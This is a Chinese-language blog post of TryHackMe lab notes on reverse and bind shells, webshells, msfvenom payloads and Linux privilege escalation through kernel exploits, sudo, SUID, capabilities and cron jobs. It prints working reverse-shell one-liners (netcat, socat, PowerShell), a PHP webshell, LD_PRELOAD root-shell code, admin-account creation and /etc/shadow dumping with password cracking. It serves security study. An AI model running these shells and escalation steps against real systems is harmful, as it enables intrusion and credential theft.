Privilege Escalation(权限提升)

news/2024/11/13 18:24:02/文章来源:https://www.cnblogs.com/kelec0ka/p/18544510

Privilege Escalation(权限提升)

What the Shell?

What is a shell

shell 是我们与命令行环境 (CLI) 交互时使用的工具。换句话说, Linux中常见的 bash 或 sh 程序都是 shell 的例子,Windows 上的 cmd.exe 和 Powershell 也是如此。

简而言之,我们可以强制远程服务器向我们发送对服务器的命令行访问(反向shell),或者打开服务器上的端口,我们可以连接到该端口以执行进一步的命令(绑定shell) )。

Tools

我们将使用多种工具来接收反向 shell 和发送绑定 shell。

Netcat:它可用于接收反向 shell 并连接到附加到目标系统上的绑定 shell 的远程端口。默认情况下,Netcat shell 非常不稳定(容易丢失)。

Socat:通常比开箱即用的 netcat shell 更稳定。从这个意义上来说,它比 netcat 优越得多;然而,有两个大问题:1.

语法比较难,2.很少linux上安装有Socat

Metasploit

Metasploit框架的exploit/multi/handler模块与socat和netcat一样,用于接收反向shell。它也是与meterpreter shell 交互的唯一方法。

Msfvenom:与 multi/handler 一样,msfvenom 在技术上是Metasploit框架的一部分,但它是作为独立工具提供的。 Msfvenom 用于动态生成有效负载。msfvenom 可以生成除反向和绑定 shell 之外的有效负载。

Types of Shell

1.反弹shell:目标被迫执行连接回计算机的代码。在自己的计算机上,将使用上一个任务中提到的工具之一来设置用于接收连接的侦听器。反向 shell 是绕过防火墙规则的好方法,这些规则可能会阻止您连接到目标上的任意端口;但是,缺点是,当通过互联网从计算机接收 shell 时,您需要配置自己的网络以接受 shell。

2.绑定 shell:目标上执行的代码用于启动附加到直接在目标上的 shell 的侦听器。然后,这将向互联网开放,这意味着可以连接到代码已打开的端口并以这种方式获取远程代码执行。这样做的优点是不需要在您自己的网络上进行任何配置,但可能会被保护目标的防火墙阻止。

Netcat

nc -lvnp <port-number>

-l用于告诉 netcat 这将是一个侦听器,-v用于请求详细输出,-n告诉 netcat 不要解析主机名或使用DNS ,解释这一点超出了房间的范围,-p表示将遵循端口规范。

使用众所周知的端口号(80、443 或 53 是不错的选择)通常是一个好主意,因为这更有可能通过目标上的出站防火墙规则。

Netcat Shell Stabilisation(稳定)

默认情况下,这些 shell 非常不稳定。按 Ctrl + C 会kill。它们是非交互式的,并且经常出现奇怪的格式错误。这是因为 netcat“shell”实际上是在终端运行的进程,而不是其本身的真正终端。幸运的是,有很多方法可以稳定 Linux 系统上的 netcat shell。我们将在这里关注三个。

1.Python

仅适用于Linux机器,因为它们几乎总是默认安装 Python。这是一个三阶段过程:

(1)首先要做的是使用 python -c 'import pty;pty.spawn("/bin/bash")' ,它使用 Python 生成功能更好的 bash shell,此时,我们的 shell 看起来会更漂亮一些,但我们仍然无法使用 tab 自动完成或箭头键,并且 Ctrl + C 仍然会终止 shell。

(2) export TERM=xterm这将使我们能够访问术语命令,例如clear

(3)最后(也是最重要的)我们将使用 Ctrl + Z 将 shell 置于后台。回到我们自己的终端,我们使用stty raw -echo; fg这做了两件事:首先,它关闭了我们自己的终端回显(这使我们能够访问选项卡自动完成、箭头键和 Ctrl + C 来终止进程)。然后它将 shell 置于前台,从而完成该过程。

2.rlwrap

rlwrap 是一个程序,简单来说,它让我们在收到 shell 后立即访问历史记录、制表符自动完成和箭头键但是,如果您希望能够在 shell 内使用 Ctrl + C,则仍然必须使用一些手动稳定功能。 Kali 上默认没有安装 rlwrap,因此首先使用sudo apt install rlwrap安装它。

要使用 rlwrap,我们调用一个略有不同的侦听器:

rlwrap nc -lvnp <port>

3.Socat

使用初始的 netcat shell 作为进入功能更齐全的 socat shell 的垫脚石。请记住,此技术仅限于 Linux 目标,因为 Windows 上的 Socat shell 并不比 netcat shell 更稳定。为了实现这种稳定方法,我们首先将socat 静态编译的二进制文件(编译为没有依赖性的程序版本)传输到目标机器。实现此目的的典型方法是在包含 socat 二进制文件的目录内的攻击计算机上使用网络服务器sudo python3 -m http.server 80 ,然后,在目标计算机上,使用 netcat shell 下载文件。在Linux上,这可以通过curl 或 wget 来完成 wget <LOCAL-IP>/socat -O /tmp/socat

Socat

Reverse Shells:

如前所述,socat 的语法比 netcat 的语法困难得多。以下是 socat 中基本反向 shell 侦听器的语法:

socat TCP-L:<port> -

在 Windows 上,我们将使用此命令来连接回来:

socat TCP:<LOCAL-IP>:<LOCAL-PORT> EXEC:powershell.exe,pipes

“pipes”选项用于强制powershell(或cmd.exe)使用Unix风格的标准输入和输出。

这是Linux目标的等效命令:

socat TCP:<LOCAL-IP>:<LOCAL-PORT> EXEC:"bash -li"

Bind Shells:

在Linux目标上,我们将使用以下命令:

socat TCP-L:<PORT> EXEC:"bash -li"

在 Windows 目标上,我们将对侦听器使用以下命令:

socat TCP-L:<PORT> EXEC:powershell.exe,pipes

无论目标是什么,我们都会在攻击机器上使用此命令来连接到等待的侦听器。

socat TCP:<TARGET-IP>:<TARGET-PORT> -

Socat Encrypted Shells

我们首先需要生成一个证书才能使用加密的 shell。在我们的攻击机器上,这是最简单的:

openssl req --newkey rsa:2048 -nodes -keyout shell.key -x509 -days 362 -out shell.crt

然后,我们需要将创建的两个文件合并为一个 .pem 文件:

cat shell.key shell.crt > shell.pem

现在,当我们设置反向 shell 侦听器时,我们使用:

socat OPENSSL-LISTEN:<PORT>,cert=shell.pem,verify=0 -

要重新连接,我们将使用:

socat OPENSSL:<LOCAL-IP>:<LOCAL-PORT>,verify=0 EXEC:/bin/bash

同样的技术也适用于 bind shell:

Target:

socat OPENSSL-LISTEN:<PORT>,cert=shell.pem,verify=0 EXEC:cmd.exe,pipes

Attacker:

socat OPENSSL:<TARGET-IP>:<TARGET-PORT>,verify=0 -

1.What is the syntax for setting up an OPENSSL-LISTENER using the tty technique from the previous task? Use port 53, and a PEM file called "encrypt.pem"

使用上一个任务中的 tty 技术设置 OPENSSL-LISTENER 的语法是什么?使用端口 53 和一个名为 “encrypt.pem” 的 PEM 文件

**ANSWER: **

socat OPENSSL-LISTEN:53,cert=encrypt.pem,verify=0 FILE:`tty`,raw,echo=0

socat:一个多功能的网络工具,用于在不同的接口(如文件、套接字、设备等)之间创建双向的连接。

OPENSSL-LISTEN:53:这是 socat 的一个地址类型,表示在本地机器上监听端口 53,并使用 OpenSSL 进行加密通信。通常端口 53 是 DNS 服务端口,但这里可以自定义使用。

cert=encrypt.pem:指定了 OpenSSL 使用的证书文件 encrypt.pem,该证书文件中包含了公钥和私钥,用于加密通信。

verify=0:禁用了证书验证。这意味着连接到此端口的客户端不会验证证书的真实性,适用于测试或内部使用的加密传输。

FILE:`tty`,raw,echo=0

  • FILE:`tty`:socat 将终端设备 (tty) 用作通信的另一端,因此连接到 53 端口的客户端可以直接和终端进行交互。
  • raw:禁用了任何处理,让数据以原始模式传输。
  • echo=0:禁用了输入回显,即输入的内容不会在终端上显示。

2.If your IP is 10.10.10.5, what syntax would you use to connect back to this listener?

如果您的 IP 是 10.10.10.5,您将使用什么语法连接回此侦听器?

**ANSWER: **

socat OPENSSL:10.10.10.5:53,verify=0 EXEC:”bash -li”,pty,stderr,sigint,setsid,sane

EXEC:"bash -li":指令部分

  • EXEC:在连接建立后执行一个本地命令或程序。
  • "bash -li":启动一个 Bash Shell,并带上 并带上 -l-i 参数。
    • -l:登录 Shell,读取用户的启动配置。
    • -i:交互式模式,便于命令交互。

pty:为远程 Shell 分配一个伪终端(pseudo-terminal),模拟一个真实终端环境。

stderr:使标准错误输出通过同一连接传输。

sigint:允许通过发送中断信号(如 Ctrl+C)来控制终端,会转发中断信号给远程 Shell。

setsid:启动新会话,避免受制于当前 Shell 的会话限制。

sane:设置终端模式为“正常”(sane)状态,重置某些设置来确保交互顺利。

Common Shell Payloadsaa

在 Linux 上,我们将改用此代码为 bind shell 创建侦听器:

mkfifo /tmp/f; nc -lvnp <PORT> < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f

一个非常相似的命令可以用来发送一个 netcat 反向 shell:

mkfifo /tmp/f; nc <LOCAL-IP> <PORT> < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f

该命令首先在 /tmp/f 处创建一个命名管道。然后,它启动 netcat 侦听器,并将侦听器的 input 连接到命名管道的输出。然后,netcat 侦听器的输出(即我们发送的命令)通过管道直接传输到 sh,将 stderr 输出流发送到 stdout,并将 stdout 本身发送到命名管道的输入中,从而完成循环。

当面向现代 Windows Server 时,通常需要 Powershell 反向 shell,因此我们将在此处介绍标准的单行 PSH 反向 shell。

这个命令非常复杂,所以为了简单起见,这里不再直接解释。然而,这是一个非常有用的单行代码:

powershell -c "$client = New-Object System.Net.Sockets.TCPClient('<ip>',<port>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

为了使用它,我们需要将“”和“”替换为适当的 IP 和端口选择。然后可以将其复制到 cmd.exe shell(或在 Windows 服务器上执行命令的其他方法,例如 webshell)中并执行,从而产生反向 shell:

1.What command can be used to create a named pipe in Linux?

什么命令可以用来在 Linux 中创建命名管道

**ANSWER: **mkfifo

msfvenom

msfvenom 的标准语法如下:

msfvenom -p <PAYLOAD> <OPTIONS>

例如,要生成 exe 格式的 Windows x64 反向 Shell,我们可以使用:

msfvenom -p windows/x64/shell/reverse_tcp -f exe -o shell.exe LHOST=<listen-IP> LPORT=<listen-port>

-f

Specifies the output format. In this case that is an executable (exe)
指定输出格式。在本例中,它是一个可执行文件 (exe)

-o

The output location and filename for the generated payload.
生成的负载的输出位置和文件名。

LHOST=

Specifies the IP to connect back to. When using TryHackMe, this will be your tun0 IP address. If you cannot load the link then you are not connected to the VPN.
指定要连接回的 IP。

LPORT=

The port on the local machine to connect back to. This can be anything between 0 and 65535 that isn't already in use; however, ports below 1024 are restricted and require a listener running with root privileges.
本地计算机上要连接回的端口。这可以是 0 到 65535 之间尚未使用的任何值;但是,低于 1024 的端口会受到限制,并且需要以 root 权限运行的侦听器。

在我们进一步讨论之前,必须介绍另外两个概念:分阶段的反向 shell 有效负载和无阶段的反向 shell 有效负载。

分阶段:分两部分发送。第一部分称为 stager。这是一段直接在服务器本身上执行的代码。它连接回等待的侦听器,但实际上本身不包含任何反向 shell 代码。相反,它连接到侦听器并使用连接加载真正的有效负载,直接执行它并防止它接触可能被传统防病毒解决方案捕获的磁盘。因此,有效载荷分为两部分 -- 一个小的初始 stager,然后是较笨重的反向 shell 代码,该代码在 stager 激活时下载。暂存有效负载需要一个特殊的侦听器 —— 通常是 Metasploit multi/handler。

无阶段:有效载荷更常见 - 这些是我们到目前为止一直在使用的。它们是完全自包含的,因为有一段代码在执行时会立即将 shell 发送回等待的侦听器。

使用 msfvenom 时需要注意的另一件重要事情是:

msfvenom --list payloads

1.Which symbol is used to show that a shell is stageless?

哪个符号用于表示 shell 是无 stage 的?

ANSWER:_

2.What command would you use to generate a staged meterpreter reverse shell for a 64bit Linux target, assuming your own IP was 10.10.10.5, and you were listening on port 443? The format for the shell is elf and the output filename should be shell
假设你自己的 IP 是 10.10.10.5,并且你在端口 443 上侦听,你会使用什么命令为 64 位 Linux 目标生成一个分阶段的 meterpreter 反向 shell?shell 的格式为 elf,输出文件名应为 shell

**ANSWER: **msfvenom -p linux/x64/meterpreter/reverse_tcp -f elf -o shell LHOST=10.10.10.5 LPORT=443

Metasploit multi/handler

Multi/Handler 是捕获反向 shell 的绝佳工具。如果您想使用 Meterpreter shell,它是必不可少的,并且在使用暂存有效负载时是首选。

使用 msfconsole 打开 Metasploit,使用 use multi/handler

image-20241031204127518

使用 exploit -j 命令,指示 Metasploit 启动模块,在后台以 job 形式运行。

1.What command can be used to start a listener in the background?
什么命令可以用来在后台启动监听器?

ANSWER:exploit -j

2.If we had just received our tenth reverse shell in the current Metasploit session, what would be the command used to foreground it?
如果我们刚刚在当前的 Metasploit 会话中收到了第十个反向 shell,那么用于前台的命令是什么?

ANSWER:sessions 10

WebShells

“Webshell”是一个口语术语,指的是在 Web 服务器(通常使用 PHP 或 ASP 等语言)中运行的脚本,它在服务器上执行代码。实质上,命令是通过 HTML 表单或直接作为 URL 中的参数输入到网页中的,然后由脚本执行,结果返回并写入页面。

<?php echo "<pre>" . shell_exec($_GET["cmd"]) . "</pre>"; ?>

上行代码在 URL 中获取 GET 参数,并使用 shell_exec() 在系统上执行它。从本质上讲,这意味着我们在 URL 中 ?cmd= 之后输入的任何命令都将在系统上执行(无论是 Windows 还是 Linux)。“pre” 元素用于确保结果在页面上的格式正确。

当目标是 Windows 时,通常最简单的方法是使用 Webshell 获取 RCE,或者使用 msfvenom 以服务器的语言生成反向/绑定 shell。使用前一种方法获取 RCE 通常是通过 URL 编码的 Powershell Reverse Shell 完成的。这将作为 cmd 参数复制到 URL 中:

powershell%20-c%20%22%24client%20%3D%20New-Object%20System.Net.Sockets.TCPClient%28%27<IP>%27%2C<PORT>%29%3B%24stream%20%3D%20%24client.GetStream%28%29%3B%5Bbyte%5B%5D%5D%24bytes%20%3D%200..65535%7C%25%7B0%7D%3Bwhile%28%28%24i%20%3D%20%24stream.Read%28%24bytes%2C%200%2C%20%24bytes.Length%29%29%20-ne%200%29%7B%3B%24data%20%3D%20%28New-Object%20-TypeName%20System.Text.ASCIIEncoding%29.GetString%28%24bytes%2C0%2C%20%24i%29%3B%24sendback%20%3D%20%28iex%20%24data%202%3E%261%20%7C%20Out-String%20%29%3B%24sendback2%20%3D%20%24sendback%20%2B%20%27PS%20%27%20%2B%20%28pwd%29.Path%20%2B%20%27%3E%20%27%3B%24sendbyte%20%3D%20%28%5Btext.encoding%5D%3A%3AASCII%29.GetBytes%28%24sendback2%29%3B%24stream.Write%28%24sendbyte%2C0%2C%24sendbyte.Length%29%3B%24stream.Flush%28%29%7D%3B%24client.Close%28%29%22

Next Steps

假如我们已经取得了一个shell,那么现在应该怎么办呢

理想情况下,在 Linux 上,我们会寻找访问用户帐户的机会。存储在 /home/<user>/.ssh 的 SSH 密钥通常是执行此操作的理想方法。在 CTF 中,在盒子上的某个地方找到凭证也并不少见。一些漏洞还允许您添加自己的帐户。特别是像 Dirty C0w 或可写的 /etc/shadow/etc/passwd 这样的东西,假设 SSH 是打开的,它会很快给你提供对机器的 SSH 访问。

在 Windows 上,选项通常更加有限。有时可以在注册表中找到运行服务的密码。例如,VNC 服务器经常将密码以明文形式存储在注册表中。某些版本的 FileZilla FTP 服务器还将凭据保留在 XML 文件中,地址为 C:\Program Files\FileZilla Server\FileZilla Server.xmlC:\xampp\FileZilla Server\FileZilla Server.xml

理想情况下,在 Windows 上,将获得一个以 SYSTEM 用户身份运行的 shell,或者一个以高权限运行的管理员帐户。在这种情况下,可以简单地将自己的帐户(在 administrators 组中)添加到机器上,然后通过 RDP、telnet、winexe、psexec、WinRM 或任何其他方法登录,具体取决于机器上运行的服务。

语法如下:

net user <username> <password> /add
net localgroup administrators <username> /add

Linux 权限提升

Introduction

权限提升是一个旅程。没有灵丹妙药,很大程度上取决于目标系统的具体配置。内核版本、安装的应用程序、支持的编程语言、其他用户的密码是影响通往 root shell 之路的几个关键因素。

What is Privilege Escalation?什么是权限提升?

从本质上讲,权限提升通常涉及从较低权限的帐户转到较高权限的帐户。从技术上讲,它是利用操作系统或应用程序中的漏洞、设计缺陷或配置疏忽,以未经授权访问通常限制用户访问的资源。

Enumeration 列举

枚举是访问任何系统后必须采取的第一步。可能通过利用导致 root 级访问的关键漏洞访问了系统,或者只是找到了一种使用低权限帐户发送命令的方法。与 CTF 不同,渗透测试活动不会在我们获得特定系统或用户权限级别的访问权限后结束。

hostname命令将返回目标计算机的主机名。尽管此值可以很容易地更改或具有相对无意义的字符串(例如 Ubuntu-3487340239),但在某些情况下,它可以提供有关目标系统在公司网络中的角色的信息(例如,SQL-PROD-01 用于生产 SQL Server)。

image-20241101211134226

uname -a将打印系统信息,为我们提供有关系统使用的内核的更多详细信息。这在搜索任何可能导致权限提升的潜在内核漏洞时非常有用。

image-20241101211143104

cat /proc/version可能会为提供有关内核版本和其他数据的信息,例如是否安装了编译器(例如 GCC)。

image-20241101211855779

cat /etc/issue 也可以识别系统。此文件通常包含有关操作系统的一些信息,但可以很容易地进行自定义或更改。在主题上,可以自定义或更改任何包含系统信息的文件。为了更清楚地了解该系统,查看所有这些总是好的。

image-20241101211957430

ps 的输出将显示以下内容

  • PID:进程 ID(对进程唯一)
  • TTY:用户使用的终端类型
  • TIME:进程使用的 CPU 时间量(这不是此进程的运行时间)
  • CMD:正在运行的命令或可执行文件(不会显示任何命令行参数)

ps -A: 查看所有正在运行的进程

ps axjf: 查看进程树

ps auxaux 选项将显示所有用户的进程 (a),显示启动进程的用户 (u),并显示未连接到终端的进程 (x)。查看 ps aux 命令输出,我们可以更好地了解系统和潜在漏洞。

env命令将显示环境变量。

image-20241101212645285

sudo -l将为目标系统配置允许用户使用 root 权限运行某些(或全部)命令。

ls: 在寻找潜在的权限提升向量时,请记住始终使用带有 -la 参数的 ls 命令。下面的示例显示了使用 lsls -l 命令如何容易丢失 “secret.txt” 文件。

2jOtOat

id 命令将提供用户权限级别和组成员资格的一般概述。

读取 /etc/passwd 文件是发现系统上用户的一种简单方法。

image-20241101222016836

另一种方法是将 grep 用于 “home”,因为真实用户很可能将他们的文件夹放在 “home” 目录下。

image-20241101222225674

historyifconfig

可以使用 ip route 命令来确认,以查看存在哪些网络路由。

image-20241101222457174

netstat -a:显示所有侦听端口和已建立的连接。

netstat -atnetstat -au 也可以分别用于列出 TCP 或 UDP 协议。

netstat -l:列出处于 “listening” 模式的端口。这些端口已打开并准备好接受传入连接。这可以与 “t” 选项一起使用,以仅列出正在使用 TCP 协议侦听的端口

netstat -s:是一个用于显示网络统计信息的命令。这也可以与 -t-u 选项一起使用,以将输出限制为特定协议。

netstat -tp:列出连接(TCP),包括服务名称和 PID 信息。SSSS

这也可以与 -l 选项一起使用,以列出侦听端口(如下)

netstat -ltp

netstat -i:显示接口统计信息。

netstat -ano

-a:显示所有sockets

-n:不解析名称

-o:显示计时器

find Command

  • find . -name flag1.txt:在当前目录中找到名为 “flag1.txt” 的文件

  • find /home -name flag1.txt:在 /home 目录中查找文件名 “flag1.txt”

  • find / -type d -name config:找到 “/” 下的名为 config 的目录

  • find / -type f -perm 0777:查找具有 777 权限的文件(所有用户均可读取、可写和可执行的文件)

  • find / -perm a=x:查找可执行文件

  • find /home -user frank: 在“/home”下查找用户“frank”的所有文件

  • find / -mtime 10:查找最近 10 天内修改的文件

  • find / -atime 10:查找过去 10 天内访问的文件

  • find / -cmin -60:查找过去一小时(60 分钟)内更改的文件

  • find / -amin -60:查找过去一小时(60 分钟)内的文件访问

  • find / -size 50M:查找大小为 50 MB 的文件

  • find / -writable -type d 2>/dev/null :查找全局可写文件夹

  • find / -perm -222 -type d 2>/dev/null :查找全局可写文件夹

  • find / -perm -o w -type d 2>/dev/null :查找全局可写文件夹

1.What is the hostname of the target system?
目标系统的主机名是什么?

image-20241102104625668

ANSWER:wade7363

2.What is the Linux kernel version of the target system?
目标系统的 Linux 内核版本是什么?

image-20241102104738782

ANSWER:3.13.0-24-generic

3.What Linux is this?

这是什么 Linux?

image-20241102105010752

ANSWER:Ubuntu 14.04 LTS

4.What version of the Python language is installed on the system?
系统安装了哪个版本的 Python 语言?

image-20241102105113305

ANSWER:2.7.6

5.What vulnerability seem to affect the kernel of the target system? (Enter a CVE number)
哪个漏洞似乎影响了目标系统的内核?(输入 CVE 编号)

之前我们获取了该系统的内核版本为3.13.0-24-generic,我们在db上查找其对应的CVE

image-20241102105820047

ANSWER:CVE-2015-1328

Automated Enumeration Tools自动枚举工具

LinPeas: https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS

LinEnum: https://github.com/rebootuser/LinEnum

LES (Linux Exploit Suggester): https://github.com/mzet-/linux-exploit-suggester

Linux Smart Enumeration: https://github.com/diego-treitos/linux-smart-enumeration

Linux Priv Checker: https://github.com/linted/linuxprivchecker

Privilege Escalation: Kernel Exploits权限提升:内核漏洞

内核漏洞利用方法很简单,

  1. 确定内核版本
  2. 搜索并查找目标系统内核版本的漏洞利用代码
  3. 运行漏洞利用

1.find and use the appropriate kernel exploit to gain root privileges on the target system.
查找并使用适当的内核漏洞来获得目标系统的 root 权限。

我们运用上个任务查找的漏洞进行攻击

首先在本地下载漏洞脚本并开启http服务

image-20241102113133495

然后在靶机上wget下载到/tmp目录

wget http://10.21.66.31:10000/df.c -P /tmp/

image-20241102114128373

cd到该目录下

image-20241102114148666

第一步先编译这个代码文件

gcc df.c -o df

查看是否编译成功

image-20241102114440174

然后执行该脚本

image-20241102114514831

成功获取root权限

image-20241102114726439

2.What is the content of the flag1.txt file?
flag1.txt 文件的内容是什么?

首先查找该文件在哪里

find / -type f -name "myfile.txt" 2>/dev/null

image-20241102115005429

image-20241102115047634

ANSWER:THM-28392872729920

Privilege Escalation: Sudo 权限提升:Sudo

任何用户都可以使用 sudo -l 命令检查其与 root 权限相关的当前情况。

Leverage application functions 利用应用程序功能

在此上下文中,某些应用程序不会有已知的漏洞利用。但是可能会看到这样的应用程序是 Apache2 。

正如在下面看到的,Apache2 有一个支持加载备用配置文件的选项(-f:指定一个备用的 ServerConfigFile)。

rNpbbL8

使用此选项加载 /etc/shadow 文件将导致出现一条错误消息,其中包含 /etc/shadow 文件的第一行。

Leverage LD_PRELOAD

在某些系统上,您可能会看到 LD_PRELOAD ENV 选项。

gGstS69

LD_PRELOAD 是一个允许任何程序使用共享库的函数。如果启用了 “env_keep” 选项,我们可以生成一个共享库,该库将在程序运行之前加载和执行。请注意,如果真实用户 ID 与有效用户 ID 不同,LD_PRELOAD选项将被忽略。

此权限提升的步骤可以总结如下;

  1. 检查LD_PRELOAD(查看 env_keep 选项)
  2. 编写编译为共享对象(.so 扩展名)文件的简单 C 代码
  3. 使用 sudo 权限和指向我们的 .so 文件的 LD_PRELOAD 选项运行程序

C 代码将简单地生成一个根 shell,并且可以按如下方式编写

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}

我们可以将此代码保存为 shell.c,并使用以下参数使用 gcc 将其编译成共享对象文件

gcc -fPIC -shared -o shell.so shell.c -nostartfiles

我们需要通过指定 LD_PRELOAD 选项来运行程序,

sudo LD_PRELOAD=/home/user/ldpreload/shell.so find

这将生成具有 root 权限的 shell。

1.How many programs can the user "karen" run on the target system with sudo rights?
用户 “karen” 可以在具有 sudo 权限的目标系统上运行多少个程序?

sudo -l

image-20241102152939541

ANSWER:3

2.What is the content of the flag2.txt file?
flag2.txt 文件的内容是什么?

首先我们找到flag2.txt的位置

sudo find / -type f -name "flag2.txt" 2>/dev/null

image-20241102161212916

然后使用less查看

cd /home/ubuntu
sudo less flag2.txt

image-20241102161335204

3.How would you use Nmap to spawn a root shell if your user had sudo rights on nmap?
如果您的用户在 nmap 上拥有 sudo 权限,您将如何使用 Nmap 生成根 shell?

在GTFOBins上查看https://gtfobins.github.io/

image-20241102163634329

ANSWER:sudo nmap --interactive

4.What is the hash of frank's password?
frank 的密码哈希值是多少?

在/etc/shadow上查看

sudo less /etc/shadow

image-20241102163849189

ANSWER:$6$2.sUUDsOLIpXKxcr$eImtgFExyr2ls4jsghdD3DHLHHP9X50Iv.jNmwo/BJpphrPRJWjelWEz2HH.joV14aDEwW1c3CahzB1uaqeLR1

另一种方法,我们直接提权

sudo nano打开,按住Ctrl+R 和 Ctrl+X,输入以下命令以获得 root 访问权限:reset; bash 1>&0 2>&0

image-20241102164854933

image-20241102165433114

Privilege Escalation: SUID 权限提升:SUID

许多 Linux 权限控制都依赖于控制用户和文件交互。到目前为止,知道文件可以具有读取、写入和执行权限。这些权限将授予其权限级别的用户。SUID (集-用户标识) 和 SGID (集-组标识) 会更改这种情况。

find / -type f -perm -04000 -ls 2>/dev/null 将列出设置了 SUID 或 SGID 位的文件。

find /:从根目录开始查找。

-type f:仅查找文件(不包括目录)。

-perm -04000:查找具有 setuid 权限的文件。setuid 权限允许普通用户以文件所有者的权限执行该文件。

-ls:以列表形式显示找到的文件的详细信息,包括权限、大小、修改时间等。

2>/dev/null:将标准错误输出重定向到 /dev/null,这意味着任何错误信息(例如没有权限访问某些目录的错误) 都不会被显示。

image-20241103150751381

上https://gtfobins.github.io搜对应的SUID即可获取

image-20241103151229321

为 nano 文本编辑器设置的 SUID 位允许我们使用文件所有者的权限创建、编辑和读取文件。Nano 归 root 所有,这可能意味着我们可以比当前用户更高的权限级别读取和编辑文件。在这个阶段,我们有两个基本的权限提升选项:读取 /etc/shadow 文件或将我们的用户添加到 /etc/passwd

以下是使用两种向量的简单步骤。

1.读取 /etc/shadow 文件

​ 我们看到 nano 文本编辑器通过运行 find / -type f -perm -04000 -ls 2>/dev/null 命令设置了 SUID 位。

nano /etc/shadow 将打印 /etc/shadow 文件的内容。我们现在可以使用 unshadow 工具创建可由 John the Ripper 破解的文件。要实现此目的,unshadow 需要 /etc/shadow/etc/passwd 文件。

​ unshadow工具的用法如下所示;

unshadow passwd.txt shadow.txt > passwords.txt

2.添加具有 root 权限的新用户。这将帮助我们规避密码破解的繁琐过程。下面是一个简单的方法:

​ 我们需要希望新用户拥有的密码的哈希值。这可以使用 Kali Linux 上的 openssl 工具快速完成。

openssl passwd -1 -salt THM password1

openssl passwd:调用 OpenSSL 的密码生成功能。

-1:指定使用 MD5 作为加密算法,生成一个 MD5 的密码散列。

-salt THM:使用 "THM" 作为(salt)。盐值用于增强密码的安全性,使得相同的密码在不同的盐值下生成 不同的散列。

password1:这是要加密的原始密码。

​ 然后,我们将此密码和用户名添加到 /etc/passwd 文件中。

huGoEtj

一旦我们的用户被添加进来(请注意 root:/bin/bash 是如何被用来提供 root shell的),我们将需要切换到这个用户,并希望他们应该有 root 权限。

1.Which user shares the name of a great comic book writer?
哪个用户和一位伟大的漫画作家同名?

cat /etc/passwd查看用户名

image-20241103152652521

ANSWER:gerryconway

2.What is the password of user2?
user2 的密码是什么?

我们可以使用unshadow去操作他

首先我们的本机需要创建3个文件和一个现有字典,passwd.txt,shadow.txt,passwords.txt和rockyou.txt

然后在靶机上使用以下命令查看哪些命令具有SUID权限

find -type f -perm -04000 -ls 2>/dev/null

image-20241103161159144

我们可以看到base64被赋予了SUID权限,我们执行base64命令来获取内容

base64 /etc/passwd | base64 --decode
base64 /etc/shadow | base64 --decode

image-20241103162330000

image-20241103162407728

然后将获取的内容粘贴到本机相应的文件中,使用unshadow解除隐藏

unshadow passwd.txt shadow.txt > passwords.txt

最后我们破解密码就好了

john --wordlist=/usr/share/wordlists/rockyou.txt passwords.txt

image-20241103163053723

ANSWER:Password1

3.What is the content of the flag3.txt file?
flag3.txt 文件的内容是什么?

首先我们找到flag3.txt的位置

find / -type f -name "flag3.txt" 2>/dev/null

image-20241103164035683

然后使用具有SUID命令的base64查看

base64 /home/ubuntu/flag3.txt | base64 --decode

image-20241103164237253

ANSWER:THM-3847834

Privilege Escalation: Capabilities 权限提升:功能

系统管理员可以用于提高进程或二进制文件的权限级别的另一种方法是“Capabilities”。功能有助于在更精细的级别管理权限。例如,如果 SOC 分析师需要使用启动套接字连接的工具,则普通用户将无法执行此操作。如果系统管理员不想为此用户提供更高的权限,他们可以更改二进制文件的功能。因此,二进制文件将独自完成其任务,而无需更高权限的用户。

我们可以使用 getcap 工具列出已启用的功能。

当以非特权用户身份运行时,getcap -r / 将生成大量错误,因此最好将错误消息重定向到 /dev/null

getcap -r /getcap 是一个用于显示文件能力的命令,-r 表示递归查找,从根目录 / 开始。

image-20241103170815416

请注意,vim 和它的副本都没有设置 SUID 位。因此,在枚举查找 SUID 的文件时,无法发现此权限提升。

image-20241103171226923

GTFObins有一个很好的二进制文件列表,如果我们找到任何 Set 功能,可以利用这些二进制文件进行权限提升。

我们注意到 vim 可以与以下命令和有效负载一起使用:

./vim -c ':py3 import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'

This will launch a root shell as seen below

image-20241103171511392

1.How many binaries have set capabilities?
有多少个二进制文件具有 set 功能?

image-20241103171707289

ANSWER:6

2.What other binary can be used through its capabilities?
还可以通过其功能使用哪些其他二进制文件?

image-20241103171714402

ANSWER:view

3.What is the content of the flag4.txt file?
flag4.txt 文件的内容是什么?

首先查询位置

image-20241103171902235

使用之前看到的二进制文件去查看他

view /home/ubuntu/flag4.txt

image-20241103172103397

ANSWER:THM-9349843

Privilege Escalation: Cron Jobs 权限提升:Cron Jobs

Cron Jobs用于在特定时间运行脚本或二进制文件。默认情况下,它们以其所有者而不是当前用户的权限运行。虽然正确配置的 cron Jobs本身并不容易受到攻击,但它们在某些情况下可以提供权限提升。

很简单,如果有一个使用 root 权限运行的计划任务,并且我们可以更改将要运行的脚本,那么我们的脚本将使用 root 权限运行。

任何用户都可以读取文件,将系统范围的 Cron Jobs保存在 /etc/crontab

image-20241104150736223

可以看到有个backup.sh在我们的用户目录下,cat看看

image-20241104150941521

由于我们当前的用户可以访问此脚本,因此我们可以轻松地对其进行修改以创建一个反向 shell,希望具有 root 权限。

需要注意的两点:

​ 命令语法将根据可用工具的不同而有所不同。(例如,nc 可能不支持您在其他情况下看到的 -e 选项)

​ 我们应该始终倾向于启动反向 shell,因为我们不想在真正的渗透测试参与中损害系统完整性。

该文件应如下所示

image-20241104151324328

其中ip为攻击机ip

现在,我们将在攻击机器上运行侦听器来接收传入连接。

